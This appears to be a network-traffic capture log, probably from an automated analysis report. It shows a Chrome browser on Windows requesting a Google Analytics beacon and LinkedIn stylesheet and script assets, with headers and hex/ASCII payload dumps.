2024-04-11 20:35:24 UTC	580	OUT	GET /ads/ga-audiences?t=sr&aip=1&_r=4&slf_rd=1&v=1&_v=j101&tid=UA-57309555-1&cid=662768576.1712867722&jid=1994135793&_u=aEDAAEABEAAAACAAI~&z=425751122 HTTP/1.1 Host: www.google.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiVocsBCJz+zAEIhaDNAQi5ys0BCIrTzQEY9snNARjrjaUX Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:24 UTC	539	IN	HTTP/1.1 200 OK P3P: policyref="https://www.googleadservices.com/pagead/p3p.xml", CP="NOI DEV PSA PSD IVA IVD OTP OUR OTR IND OTC" Timing-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Date: Thu, 11 Apr 2024 20:35:24 GMT Pragma: no-cache Expires: Fri, 01 Jan 1990 00:00:00 GMT Cache-Control: no-cache, no-store, must-revalidate Content-Type: image/gif X-Content-Type-Options: nosniff Server: cafe Content-Length: 42 X-XSS-Protection: 0 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-04-11 20:35:24 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
90	192.168.2.4	49904	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:28 UTC	568	OUT	GET /aero-v1/sc/h/3ra71nd6rxi4u1cfuugikqq4r HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: text/css,/;q=0.1 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: style Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:28 UTC	1065	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 307067 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/css Date: Thu, 11 Apr 2024 20:35:28 GMT Expires: Thu, 18 Apr 2024 20:35:28 GMT Last-Modified: Wed, 06 Mar 2024 01:08:07 GMT Server: ECAcc (nyd/D128) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 365102 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.0018343177; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-FS-UUID: 0006159099e8bf4ce50fc7b62ef4ea41 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkJnov0zlD8e2LvTqQQ== Content-Length: 365102 Connection: close
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 3a 72 6f 6f 74 2c 2e 68 75 65 2d 77 65 62 5f 5f 61 72 74 64 65 63 6f 2d 6d 69 67 72 61 74 69 6f 6e 2d 73 63 6f 70 65 2d 2d 72 65 76 65 72 74 7b 2d 2d 61 72 74 64 65 63 6f 2d 72 65 73 65 74 2d 62 61 73 65 2d 6d 61 72 67 69 6e 2d 7a 65 72 6f 3a 20 30 3b 2d 2d 61 72 74 64 65 63 6f 2d 72 65 73 65 74 2d 62 61 73 65 2d 70 61 64 64 69 6e 67 2d 7a 65 72 6f 3a 20 30 3b 2d 2d 61 72 74 64 65 63 6f 2d 72 65 73 65 74 2d 62 61 73 65 2d 62 6f 72 64 65 72 2d 7a 65 72 6f 3a 20 30 3b 2d 2d 61 72 74 64 65 63 6f 2d 72 65 73 65 74 2d 62 61 73 65 2d 66 6f 6e 74 2d 73 69 7a 65 2d 68 75 6e 64 72 65 64 2d 70 65 72 63 65 6e 74 3a 20 31 30 30 25 3b 2d 2d 61 72 74 64 65 63 6f 2d 72 65 73 65 74 2d 62 61 73 65 2d 66 6f 6e 74 2d 77 65 69 67 68 74 2d 62 6f 6c 64 3a 20 62 6f 6c 64 3b 2d Data Ascii: :root,.hue-web__artdeco-migration-scope--revert{--artdeco-reset-base-margin-zero: 0;--artdeco-reset-base-padding-zero: 0;--artdeco-reset-base-border-zero: 0;--artdeco-reset-base-font-size-hundred-percent: 100%;--artdeco-reset-base-font-weight-bold: bold;-
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 69 6e 76 65 72 73 65 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 65 6d 69 75 6d 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 69 6e 76 65 72 73 65 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 65 6d 69 75 6d 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 69 6d 61 72 79 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 64 63 63 65 61 34 3b 63 6f 6c 6f 72 3a 23 34 32 33 39 31 65 7d 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 69 6e 76 65 72 73 65 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 65 6d 69 75 6d 2e 61 72 Data Ascii: .artdeco-button--inverse.artdeco-button--premium.artdeco-button:visited:hover,.artdeco-button--inverse.artdeco-button--premium.artdeco-button--primary:visited:hover{background-color:#dccea4;color:#42391e}.artdeco-button--inverse.artdeco-button--premium.ar
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2d 2d 64 69 73 61 62 6c 65 64 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 69 6d 61 72 79 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 64 69 73 61 62 6c 65 64 3a 68 6f 76 65 72 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 69 6d 61 72 79 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 64 69 73 61 62 6c 65 64 3a 66 6f 63 75 73 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 70 72 69 6d 61 72 79 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 64 69 73 61 62 6c 65 64 3a 61 63 74 69 76 65 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 64 69 73 61 62 6c 65 64 2c 2e 61 72 74 64 65 63 6f 2d 62 75 74 74 6f 6e 2d 2d 73 65 63 6f 6e 64 61 72 79 3a 64 69 73 61 62 6c 65 64 3a 68 6f 76 Data Ascii: --disabled,.artdeco-button--primary.artdeco-button--disabled:hover,.artdeco-button--primary.artdeco-button--disabled:focus,.artdeco-button--primary.artdeco-button--disabled:active,.artdeco-button--secondary:disabled,.artdeco-button--secondary:disabled:hov
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 48 7a 56 37 6d 2d 4c 67 62 73 53 65 2d 42 7a 31 31 32 63 2d 68 61 41 63 6c 66 20 2e 6e 73 6d 37 42 62 2d 48 7a 56 37 6d 2d 4c 67 62 73 53 65 2d 42 7a 31 31 32 63 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 2e 6e 73 6d 37 42 62 2d 48 7a 56 37 6d 2d 4c 67 62 73 53 65 2e 70 53 7a 4f 50 2d 53 78 51 75 53 65 20 2e 6e 73 6d 37 42 62 2d 48 7a 56 37 6d 2d 4c 67 62 73 53 65 2d 42 7a 31 31 32 63 2d 68 61 41 63 6c 66 7b 68 65 69 67 68 74 3a 32 38 70 78 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 38 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 31 30 70 78 3b 6d 69 6e 2d 77 69 64 74 68 3a 32 38 70 78 3b 77 69 64 74 68 3a 32 38 70 78 7d 2e 6e 73 6d 37 42 62 2d 48 7a 56 37 6d 2d 4c 67 62 73 53 65 2e 70 75 72 5a 54 2d 53 78 51 75 53 65 20 2e 6e 73 6d 37 Data Ascii: HzV7m-LgbsSe-Bz112c-haAclf .nsm7Bb-HzV7m-LgbsSe-Bz112c{margin:0;padding:0}.nsm7Bb-HzV7m-LgbsSe.pSzOP-SxQuSe .nsm7Bb-HzV7m-LgbsSe-Bz112c-haAclf{height:28px;margin-left:-8px;margin-right:10px;min-width:28px;width:28px}.nsm7Bb-HzV7m-LgbsSe.purZT-SxQuSe .nsm7
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2d 69 74 65 6d 2c 2e 6d 65 6d 62 65 72 2d 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 2b 2e 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 2c 2e 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 2b 2e 6d 65 6d 62 65 72 2d 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 2c 2e 6d 65 6d 62 65 72 2d 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 2b 2e 6d 65 6d 62 65 72 2d 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 69 74 65 6d 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 34 70 78 7d 2e 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 6e 61 76 2d 68 65 61 64 65 72 5f 5f 6c 69 6e 6b 2d 62 75 74 74 6f 6e 3a 66 6f 63 75 73 2c 2e 6d 65 6d 62 65 72 2d 6e 61 76 Data Ascii: -item,.member-nav-header__link-item+.nav-header__link-item,.nav-header__link-item+.member-nav-header__link-item,.member-nav-header__link-item+.member-nav-header__link-item{margin-left:24px}.nav-header__link:focus,.nav-header__link-button:focus,.member-nav
2024-04-11 20:35:28 UTC	5	IN	Data Raw: 2d 74 69 6d 69 Data Ascii: -timi
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 20 30 2c 20 30 2e 32 2c 20 31 29 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 68 65 69 67 68 74 3a 35 36 70 78 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 3b 77 69 64 74 68 3a 31 30 30 25 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 2d 6d 73 2d 68 69 67 68 2d 63 6f 6e 74 72 61 73 74 3a 20 61 63 74 69 76 65 29 7b 2e 74 68 69 72 64 2d 70 61 72 74 79 2d 6a 6f 69 6e 5f 5f 63 6f 6e 74 61 69 6e 65 72 20 2e 74 68 69 72 64 2d 70 61 72 74 79 2d 6a 6f 69 6e 5f 5f 62 74 6e 7b 62 6f 72 64 65 72 3a 31 70 78 20 73 6f 6c 69 64 20 63 75 72 72 65 6e 74 43 6f 6c 6f 72 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a Data Ascii: ng-function:cubic-bezier(0, 0, 0.2, 1);vertical-align:middle;z-index:0;height:56px;margin-top:16px;width:100%}@media only screen and (-ms-high-contrast: active){.third-party-join__container .third-party-join__btn{border:1px solid currentColor;line-height:
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 78 2d 73 68 61 64 6f 77 2c 63 6f 6c 6f 72 2c 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3b 2d 77 65 62 6b 69 74 2d 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 20 30 2c 20 30 2e 32 2c 20 31 29 3b 74 72 61 6e 73 69 74 69 6f 6e 2d 74 69 6d 69 6e 67 2d 66 75 6e 63 74 69 6f 6e 3a 63 75 62 69 63 2d 62 65 7a 69 65 72 28 30 2c 20 30 2c 20 30 2e 32 2c 20 31 29 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 7a 2d 69 6e 64 65 78 3a 30 3b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 72 69 67 68 74 3a 30 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 38 70 78 3b 74 6f 70 3a 63 61 6c 63 28 35 30 25 20 2d 20 31 36 70 78 29 7d 40 6d 65 64 69 61 20 6f 6e Data Ascii: x-shadow,color,-webkit-box-shadow;-webkit-transition-timing-function:cubic-bezier(0, 0, 0.2, 1);transition-timing-function:cubic-bezier(0, 0, 0.2, 1);vertical-align:middle;z-index:0;position:absolute;right:0;margin-right:8px;top:calc(50% - 16px)}@media on
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 36 38 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 5c 21 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 36 38 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 20 7d 0a 7d 0a 40 6d 65 64 69 61 20 28 6d 69 6e 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 29 20 7b 0a 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 3b 0a 20 20 20 20 7d 0a 20 20 20 20 2e 5c 21 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 20 31 39 32 30 70 78 20 21 69 6d 70 6f 72 74 61 6e 74 3b 0a 20 20 20 Data Ascii: .container { max-width: 1680px; } .\!container { max-width: 1680px !important; }}@media (min-width: 1920px) { .container { max-width: 1920px; } .\!container { max-width: 1920px !important;
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 29 3b 0a 7d 0a 2e 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 2c 20 2e 6c 69 6e 6b 3a 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 68 6f 76 65 72 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 2d 68 6f 76 65 72 29 3b 0a 7d 0a 2e 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 61 63 74 69 76 65 2c 20 2e 6c 69 6e 6b 3a 6c 69 6e 6b 3a 76 69 73 69 74 65 64 3a 61 63 74 69 76 65 20 7b 0a 20 20 20 20 63 6f 6c 6f 72 3a 20 76 61 72 28 2d 2d 63 6f 6c 6f 72 2d 6c 69 6e 6b 2d 76 69 73 69 74 65 64 2d 61 63 74 69 76 65 29 3b 0a 7d 0a 2e 6c 69 6e 6b 2d 6e 6f 2d 76 69 73 69 74 65 64 2d 73 74 61 74 65 2c 20 2e Data Ascii: color: var(--color-link-visited);}.link:visited:hover, .link:link:visited:hover { color: var(--color-link-visited-hover);}.link:visited:active, .link:link:visited:active { color: var(--color-link-visited-active);}.link-no-visited-state, .

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
91	192.168.2.4	49903	152.199.24.163	443	5984	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 20:35:28 UTC	554	OUT	GET /aero-v1/sc/h/3utcckkfns4imldimt4a8krjb HTTP/1.1 Host: static.licdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://www.linkedin.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 20:35:28 UTC	1091	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-CDN, X-CDN-Client-IP-Version, X-CDN-Proto, X-Cache, X-CDN-RCODE Age: 306538 Cache-Control: max-age=604800, immutable Content-Disposition: attachment Content-Type: text/javascript Date: Thu, 11 Apr 2024 20:35:28 GMT Expires: Thu, 18 Apr 2024 20:35:28 GMT Last-Modified: Wed, 06 Mar 2024 01:08:07 GMT Server: ECAcc (nyd/D116) Timing-Allow-Origin: * Vary: Accept-Encoding x-ambry-blob-size: 513252 x-ambry-request-cost: READ_CAPACITY_UNIT=1.0; STORAGE_IN_GB=0.0 x-ambry-target-account-name: aero x-ambry-target-container-name: assets x-ambry-user-quota-usage: READ_CAPACITY_UNIT=0.001882487; STORAGE_IN_GB=0.0 x-ambry-user-quota-warning: HEALTHY X-Cache: HIT X-CDN: ECST X-CDN-CLIENT-IP-VERSION: IPV4 X-CDN-Proto: HTTP1 X-Content-Type-Options: nosniff X-EC-BBR-Enable: 1 X-FS-UUID: 00061590b96912341211b3bfea886a45 X-Li-Fabric: prod-lva1 X-Li-Pop: prod-lva1-x X-LI-Proto: http/1.1 X-LI-UUID: AAYVkLlpEjQSEbO/6ohqRQ== Content-Length: 513252 Connection: close
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2f 2a 21 20 46 6f 72 20 6c 69 63 65 6e 73 65 20 69 6e 66 6f 72 6d 61 74 69 6f 6e 20 70 6c 65 61 73 65 20 73 65 65 20 61 75 74 68 77 61 6c 6c 2d 75 62 62 61 2e 6a 73 2e 4c 49 43 45 4e 53 45 2e 74 78 74 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 76 61 72 20 6e 3d 7b 7d 2c 72 3d 7b 7d 2c 69 3d 52 65 66 65 72 65 6e 63 65 45 72 72 6f 72 2c 6f 3d 54 79 70 65 45 72 72 6f 72 2c 61 3d 4f 62 6a 65 63 74 2c 73 3d 52 65 67 45 78 70 2c 63 3d 4e 75 6d 62 65 72 2c 6c 3d 53 74 72 69 6e 67 2c 41 3d 41 72 72 61 79 2c 64 3d 61 2e 62 69 6e 64 2c 75 3d 61 2e 63 61 6c 6c 2c 68 3d 75 2e 62 69 6e 64 28 64 2c 75 29 2c 67 3d 61 2e 61 70 70 6c 79 2c 66 3d 68 28 67 29 2c 70 3d 5b 5d 2e 70 75 73 68 2c 6d 3d 5b 5d 2e 70 6f 70 2c 76 3d 5b 5d 2e 73 6c 69 63 65 2c 42 3d 5b Data Ascii: /! For license information please see authwall-ubba.js.LICENSE.txt /!function e(t){var n={},r={},i=ReferenceError,o=TypeError,a=Object,s=RegExp,c=Number,l=String,A=Array,d=a.bind,u=a.call,h=u.bind(d,u),g=a.apply,f=h(g),p=[].push,m=[].pop,v=[].slice,B=[
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2c 22 6b 57 46 6f 64 4a 55 69 73 65 41 6d 22 2c 22 39 63 7a 64 6a 7a 71 56 57 57 61 52 4f 4d 78 6f 31 56 4d 4e 22 2c 22 4c 41 6f 54 46 50 55 39 6f 51 22 2c 22 7b 5c 5c 73 2a 5c 5c 5b 5c 5c 73 2a 6e 61 74 69 76 65 5c 5c 73 2b 63 6f 64 65 5c 5c 73 2a 5d 5c 5c 73 2a 7d 5c 5c 73 2a 24 22 2c 22 4a 35 48 51 71 68 2d 33 4f 43 75 57 46 5a 42 69 6f 54 73 74 33 56 47 47 55 68 75 7a 4d 6c 65 58 56 33 71 6d 71 53 50 79 5f 43 45 49 62 77 22 2c 22 42 36 4c 68 69 79 57 58 41 67 6b 22 2c 22 51 62 4c 37 68 7a 57 5a 63 32 76 39 62 66 74 50 6e 56 46 49 2d 67 22 2c 22 30 38 76 44 7a 67 71 64 45 6b 7a 51 47 5f 67 66 78 77 22 2c 22 70 61 72 73 65 22 2c 22 61 6f 36 76 34 7a 6d 49 47 77 48 51 63 66 77 35 22 2c 22 6c 65 66 74 22 2c 22 71 4b 4b 51 75 45 6a 4c 54 44 79 50 65 36 4e Data Ascii: ,"kWFodJUiseAm","9czdjzqVWWaROMxo1VMN","LAoTFPU9oQ","{\\s\\[\\snative\\s+code\\s]\\s}\\s*$","J5HQqh-3OCuWFZBioTst3VGGUhuzMleXV3qmqSPy_CEIbw","B6LhiyWXAgk","QbL7hzWZc2v9bftPnVFI-g","08vDzgqdEkzQG_gfxw","parse","ao6v4zmIGwHQcfw5","left","qKKQuEjLTDyPe6N
2024-04-11 20:35:28 UTC	2	IN	Data Raw: 38 36 Data Ascii: 86
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 5d 2c 5b 32 2c 38 30 5d 2c 5b 31 2c 32 33 35 5d 2c 5b 36 2c 31 31 32 5d 2c 5b 36 2c 36 31 5d 2c 5b 37 2c 31 35 5d 2c 5b 39 2c 36 5d 2c 5b 35 2c 31 31 30 5d 2c 5b 35 2c 34 37 5d 2c 5b 37 2c 31 32 35 5d 2c 5b 33 2c 37 35 5d 2c 5b 35 2c 31 36 30 5d 2c 5b 34 2c 31 30 31 5d 2c 5b 34 2c 31 39 37 5d 2c 5b 37 2c 31 37 35 5d 2c 5b 30 2c 35 32 5d 2c 5b 33 2c 31 31 37 5d 2c 5b 39 2c 32 30 35 5d 2c 5b 31 2c 31 33 30 5d 2c 5b 36 2c 37 36 5d 2c 5b 33 2c 32 31 35 5d 2c 5b 38 2c 32 32 35 5d 2c 5b 35 2c 37 32 5d 2c 5b 39 2c 31 39 35 5d 2c 5b 31 2c 31 37 30 5d 2c 5b 36 2c 32 31 38 5d 2c 5b 36 2c 31 37 36 5d 2c 5b 36 2c 31 35 32 5d 2c 5b 38 2c 31 37 38 5d 2c 5b 37 2c 31 33 5d 2c 5b 37 2c 30 5d 2c 5b 35 2c 36 32 5d 2c 5b 35 2c 34 34 5d 2c 5b 37 2c 32 34 31 5d 2c 5b 36 2c 31 Data Ascii: ],[2,80],[1,235],[6,112],[6,61],[7,15],[9,6],[5,110],[5,47],[7,125],[3,75],[5,160],[4,101],[4,197],[7,175],[0,52],[3,117],[9,205],[1,130],[6,76],[3,215],[8,225],[5,72],[9,195],[1,170],[6,218],[6,176],[6,152],[8,178],[7,13],[7,0],[5,62],[5,44],[7,241],[6,1
2024-04-11 20:35:28 UTC	1	IN	Data Raw: 30 Data Ascii: 0
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 5d 2c 6d 3a 5b 30 5d 2c 7a 3a 5b 5d 7d 2c 7b 61 3a 5b 5d 2c 6d 3a 5b 5d 2c 7a 3a 5b 31 5d 7d 2c 7b 61 3a 5b 30 5d 2c 6d 3a 5b 30 5d 2c 7a 3a 5b 32 36 33 5d 7d 2c 7b 54 3a 30 2c 61 3a 5b 5d 2c 6d 3a 5b 5d 2c 7a 3a 5b 5d 7d 2c 7b 61 3a 5b 30 2c 33 2c 32 2c 34 2c 37 5d 2c 6d 3a 5b 30 2c 31 2c 32 2c 33 2c 34 2c 35 2c 36 2c 37 5d 2c 7a 3a 5b 34 33 36 5d 7d 2c 7b 61 3a 5b 5d 2c 6d 3a 5b 5d 2c 7a 3a 5b 35 2c 39 2c 31 31 2c 34 39 31 5d 7d 2c 7b 61 3a 5b 37 2c 32 2c 30 2c 33 5d 2c 6d 3a 5b 30 2c 31 2c 32 2c 33 2c 34 2c 35 2c 36 2c 37 5d 2c 7a 3a 5b 5d 7d 2c 7b 61 3a 5b 30 5d 2c 6d 3a 5b 30 5d 2c 7a 3a 5b 32 38 38 2c 33 30 31 5d 7d 2c 7b 61 3a 5b 30 2c 33 2c 34 2c 32 5d 2c 6d 3a 5b 30 2c 31 2c 32 2c 33 2c 34 5d 2c 7a 3a 5b 31 31 35 5d 7d 2c 7b 61 3a 5b 31 2c 32 5d Data Ascii: ],m:[0],z:[]},{a:[],m:[],z:[1]},{a:[0],m:[0],z:[263]},{T:0,a:[],m:[],z:[]},{a:[0,3,2,4,7],m:[0,1,2,3,4,5,6,7],z:[436]},{a:[],m:[],z:[5,9,11,491]},{a:[7,2,0,3],m:[0,1,2,3,4,5,6,7],z:[]},{a:[0],m:[0],z:[288,301]},{a:[0,3,4,2],m:[0,1,2,3,4],z:[115]},{a:[1,2]
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 3d 5a 5b 65 2e 42 2b 31 5d 3b 65 2e 42 2b 3d 32 3b 76 61 72 20 72 3d 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 33 5d 2c 69 3d 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 32 5d 2c 6f 3d 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 31 5d 3b 6b 28 69 2c 6f 2c 7b 77 72 69 74 61 62 6c 65 3a 21 30 2c 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 65 6e 75 6d 65 72 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 72 7d 29 3b 76 61 72 20 61 3d 65 2e 6b 2e 67 28 74 29 2c 73 3d 65 2e 64 2e 6c 65 6e 67 74 68 2d 33 3b 65 2e 64 5b 73 5d 3d 61 2c 65 2e 64 5b 73 2b 31 5d 3d 65 2e 6b 2e 67 28 6e 29 2c 65 2e 64 2e 6c 65 6e 67 74 68 2d 3d 31 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 4c 5b 5a 5b 65 2e 42 5d 3c 3c 38 7c 5a 5b 65 2e 42 2b 31 5d 5d 2c 6e 3d 4c Data Ascii: =Z[e.B+1];e.B+=2;var r=e.d[e.d.length-3],i=e.d[e.d.length-2],o=e.d[e.d.length-1];k(i,o,{writable:!0,configurable:!0,enumerable:!0,value:r});var a=e.k.g(t),s=e.d.length-3;e.d[s]=a,e.d[s+1]=e.k.g(n),e.d.length-=1},function(e){var t=L[Z[e.B]<<8\|Z[e.B+1]],n=L
2024-04-11 20:35:28 UTC	16383	IN	Data Raw: 2e 42 2b 32 5d 2c 72 3d 5a 5b 65 2e 42 2b 33 5d 3b 65 2e 42 2b 3d 34 3b 76 61 72 20 69 3d 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 31 5d 3b 65 2e 6b 2e 4d 28 74 2c 69 29 3b 76 61 72 20 6f 3d 65 2e 6b 2e 67 28 6e 29 2c 61 3d 65 2e 64 2e 6c 65 6e 67 74 68 2d 31 3b 65 2e 64 5b 61 5d 3d 6f 2c 65 2e 64 5b 61 2b 31 5d 3d 65 2e 6b 2e 67 28 72 29 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5a 5b 65 2e 42 5d 3b 65 2e 42 2b 3d 31 3b 28 30 2c 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 32 5d 29 28 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 31 5d 29 3b 65 2e 64 5b 65 2e 64 2e 6c 65 6e 67 74 68 2d 32 5d 3d 65 2e 6b 2e 67 28 74 29 2c 65 2e 64 2e 6c 65 6e 67 74 68 2d 3d 31 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 5a 5b 65 2e 42 Data Ascii: 